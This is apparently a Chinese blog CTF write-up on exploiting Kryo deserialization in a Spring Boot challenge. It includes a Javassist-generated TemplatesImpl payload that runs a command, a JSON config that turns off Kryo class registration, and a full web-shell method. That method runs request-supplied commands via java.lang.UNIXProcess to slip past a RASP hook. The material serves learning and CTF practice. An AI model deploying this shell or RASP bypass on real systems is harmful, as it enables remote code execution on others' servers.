public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
随意执行一条链子会发现并不能成功,出现了Class cannot be created (missing no-arg constructor)
的报错,报错原因是因为Kyro
在反序列化的时候无法指定没有无参构造函数
的类。
有没有办法改变这样的一种策略,让它能够实例化没有无参构造函数
的类?GPT
先生的回答如下:
- 创建自定义的实例化策略类,实现
com.esotericsoftware.kryo.InstantiatorStrategy
接口 - 创建自定义的
ObjectInstantiator
类,实现com.esotericsoftware.kryo.instantiator.ObjectInstantiator
接口 - 通过
setInstantiatorStrategy
将自定义的实例化策略设置到Kryo
对象中
所以出题人在/coffee/demo
中设置根据输入的json
字符来遍历并触发set
方法的作用就是为了setInstantiatorStrategy
改变策略。这里不可能策略化的类,但是springboot
都会带objensis
依赖,里面存在org.objenesis.strategy.StdInstantiatorStrategy
标准实例化策略,用于实例化对象而无需调用它们的构造函数。
在本地环境打的时候,还是出现了报错Class is not registered
,查了一下发现在Kyro
中,所有序列化和反序列化用到的Class
都要通过register
先注册,
调试源代码可以发现,Kryo
在进行序列化
或反序列化
的时候会通过getRegistration
获取注册的类型从而获取序列化或反序列化器,如果获取不到类型,是无法进行序列化
或反序列化
的。
但是这里是能够被绕过的,当它的registrationRequired
属性不为True
的时候,它就会跳过异常的抛出,因此这里可以通过setRegistrationRequired
使其变成false
Kyro
自带的Registration
有19
个,都是一些常用的如int double String
等定义字符类型的类。
因此整体的解题思路就是先通过/coffee/demo
设置Kryo
的反序列化策略
和RegistrationRequired
,最终再通过Kryo
反序列化打链子触发RCE
需加上的payload内容:
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
String raw = "{\"polish\":\"true\",\"RegistrationRequired\":\"false\", \"InstantiatorStrategy\":\"org.objenesis.strategy.StdInstantiatorStrategy\"}";
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {
Method[] var3 = kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 = serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()[0].isPrimitive()) {
try {
p1 = Class.forName((String)p1).newInstance();
setMethod.invoke(kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
//下同
在rasp
中,它这里是把ProcessImpl
给ban
掉了,但是上文说到,它只禁用了ProcessImpl
,可以通过UNIXProcess
完成绕过的,最终打入shell
即可。
public void shell(HttpServletRequest request, HttpServletResponse response) throws Exception {
Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] command = {"/bin/sh", "-c", cmd};
byte[] prog = toCString(command[0]);
byte[] argBlock = getArgBlock(command);
int argc = argBlock.length;
int[] fds = {-1, -1, -1};
Object obj = constructor.newInstance(prog, argBlock, argc, null, 0, null, fds, false);
Method method = cls.getDeclaredMethod("getInputStream");
method.setAccessible(true);
InputStream is = (InputStream) method.invoke(obj);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = is.read(b)) != -1) {
baos.write(b, 0, a);
}
PrintWriter out=response.getWriter();
out.println(baos.toString());
}
}
private static byte[] toCString(String var0) {
if (var0 == null) {
return null;
} else {
byte[] var1 = var0.getBytes();
byte[] var2 = new byte[var1.length + 1];
System.arraycopy(var1, 0, var2, 0, var1.length);
var2[var2.length - 1] = 0;
return var2;
}
}
public static byte[] getArgBlock(String[] strs) throws Exception {
assert strs != null && strs.length > 0;
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; ++i) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
int var11 = args.length;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
return argBlock;
}
这道题质量真的很高,做了好久好久,主要思路就是通过Kyro
打反序列化+UNIXProcess或JNI
的形式绕过RASP
总结
文章中JDK17
版本绕过反射的是通过Unsafe
改变module
来进行的,在2021KCon
中还看到了InstrumentationImplClass
来绕过的。RASP
的绕过方式大致可分成两种,一种是通过JNI
生成引用的dll或so
,一种是寻找更底层的方法。
参考连接:
![logo图像]( https://www.aiwin.fun/usr/themes/cactus/images/logo.jpg?ver=1.6.8)
![tips](https://www.aiwin.fun/usr/themes/cactus/images/tips.png?ver=1.6.8)
文章标题:JDK17绕过反射限制与RASP初探
文章链接:https://aiwin.fun/index.php/archives/4389/
最后编辑:2024 年 3 月 5 日 22:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)